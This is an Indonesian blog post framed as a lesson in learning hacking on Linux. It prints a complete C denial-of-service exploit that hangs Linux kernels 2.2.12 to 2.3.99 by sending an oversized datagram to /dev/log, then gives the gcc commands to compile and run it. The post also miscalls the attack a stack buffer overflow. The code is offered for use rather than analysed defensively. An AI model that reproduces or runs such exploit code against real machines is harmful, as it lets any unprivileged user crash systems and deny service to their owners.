Dalam melakukan hacking sering kali kita memperoleh
program (eksploit) yang dapat digunakan untuk mengeksploitasi sebuah sistem.
Program ini tidak jarang berbentuk source code bukan executable dalam bahasa C
yang perlu kita compile agar menjadi bentuk executable yang dapat dijalankan.
Di samping itu, cara belajar hacking yang terbaik adalah
dengan mempelajari program orang lain yang telah sukses dalam melakukan
hacking. Atau melihat struktur program yang ada. Di Linux, proses belajar ini
menjadi sangat cepat karena sebagian besar source code Linux tersedia / terbuka
& dapat kita lihat menggunakan teks editor biasa pada directory:
/usr/src/linux
Tentunya sebelum melihat demikian banyak source code ada
baiknya anda membaca-baca berbagai teknik yang berkaitan dengan kerja sistem
operasi / Linux maupun kerja Internet yang di dokumentasikan dalam bentuk file
Request For Comment (RFC) yang dapat di ambil secara gratis di berbagai situs
Internet, seperti http://www.internic.net, http://www.linuxdoc.org
dsb.
Contoh sebuah source code eksploit untuk Linux kernel
2.2-2.3.99 saya tampilkan berikut ini.
/* [http://b0f.morphed.net] -
eth0 */
/*
*/
/*
Vulnerable
Linux 2.2.12
Linux 2.2.13
Linux 2.2.14
Linux 2.3.99-pre2
The following exploit code will hang any
Linux machine on various
Pentium platforms.
Note that this does not require any special
privileges, and any user
Can compile and run it, so watch out
kiddies...
The send system call immediately puts the
kernel in a loop spewing
kmalloc: Size (131076) too large forever
(or until you hit the reset button).
Apparently UNIX domain sockets are ignoring
the
/proc/sys/net/core/wmem_max parameter,
despite the documentation to the contrary.
[code provided by eth0 from b0f security]
[information provided by Jay Fenlason]
[http://b0f.morphed.net]
[buffer0verfl0w security]
*/
#include
<sys/types.h>
#include
<sys/socket.h>
#include
<string.h>
char
buf[128 * 1024];
int
main ( int argc, char **argv )
{
struct sockaddr SyslogAddr;
int LogFile;
int bufsize = sizeof(buf)-5;
int i;
for ( i = 0; i < bufsize; i++ )
buf[i] = ' '+(i%95);
buf[i] = '\0';
SyslogAddr.sa_family = AF_UNIX;
strncpy ( SyslogAddr.sa_data,
"/dev/log", sizeof(SyslogAddr.sa_data)
);
LogFile = socket ( AF_UNIX, SOCK_DGRAM, 0 );
sendto ( LogFile, buf,
bufsize, 0, &SyslogAddr, sizeof(SyslogAddr)
);
return 0;
}
Eksploit ini merupakan teknik yang membuat buffer (stack)
over flow sehingga mesin Linux anda tidak bisa beroperasi lagi seperti hang,
kecuali anda reset. Kebetulan saya menggunakan Mandrake 8.0 yang menggunakan
kernel 2.4.3 yang tidak terpengaruh terhadap eksploit ini.
Setelah
ada mengedit file source code dalam bahasa C dengan teks editor biasa. Langkah
selanjutnya adalah mengcompile-nya. Pada masa lalu (jaman DOS 3.3), saya
biasanya menggunakan Turbo C untuk mengcompile source code. Saat ini dengan
menggunakan Linux, jika di install fasilitas development-nya, maka GNU C
Compiler (gcc) biasanya merupakan bagian integral dari fasilitas development
pada Linux.
Pada
Linux, proses compiling dapat dilakukan secara sederhana saja, dengan
menuliskan perintah:
$ gcc eksploit.c –o eksploit
maka
file eksploit.c akan di compile menjadi executable yang dalam hal ini di beri nama eksploit (oleh perintah –o
eksploit) yang kemudian dapat dijalankan dengan perintah:
$ ./eksploit
Jika
anda mulai melakukan pemrogramman yang kompleks dengan banyak source file C,
maka biasanya dibantu dengan file Makefile yang akan mengatur cara-cara membuat
objek code & compile dari masing-masing source code.
No comments :
Post a Comment